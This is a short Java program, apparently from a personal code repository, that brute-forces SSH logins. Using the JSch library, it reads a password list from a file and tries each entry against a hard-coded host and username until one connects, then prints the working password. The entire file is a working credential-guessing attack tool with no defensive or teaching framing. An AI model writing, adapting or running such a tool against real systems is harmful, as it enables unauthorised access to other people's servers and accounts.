import com.jcraft.jsch.JSch;
import com.jcraft.jsch.Session;
import java.io.*;
import java.util.Scanner;
/**
 * SSH bruteforce root - password guessing.
 * @author Aviv
 *
 */
public class SSH
{
	public static void main(String args[])
	{
		String user = "john"; // Set username
		String password = "mypassword"; // set password
		String host = "192.168.100.23"; // set host
		int port=22; // set port

		try
		{
			// Openning session
			JSch jsch = new JSch();
			Session session = jsch.getSession(user, host, port);
			session.setPassword(password); // initilaize password
			System.out.println("Checking for passwords begin..");
			Scanner input = new Scanner(System.in);
			File file = new File("passwords.txt"); // password file

			input = new Scanner(file);
			while (input.hasNextLine()) { // reading from password file
				String line = input.nextLine();
				try {
				    session.setPassword(line); // checking each password
				    session.connect(1000); // trying to connect...
				    System.out.println("Connected, password: "+line); // if connected
				    break;
				}
				catch (Exception e1) {
					System.out.println(line);
					continue;
				}
			}
			input.close();
		}
		catch (Exception e1) {
			System.out.println("Uncorrect password");
		}
	}
}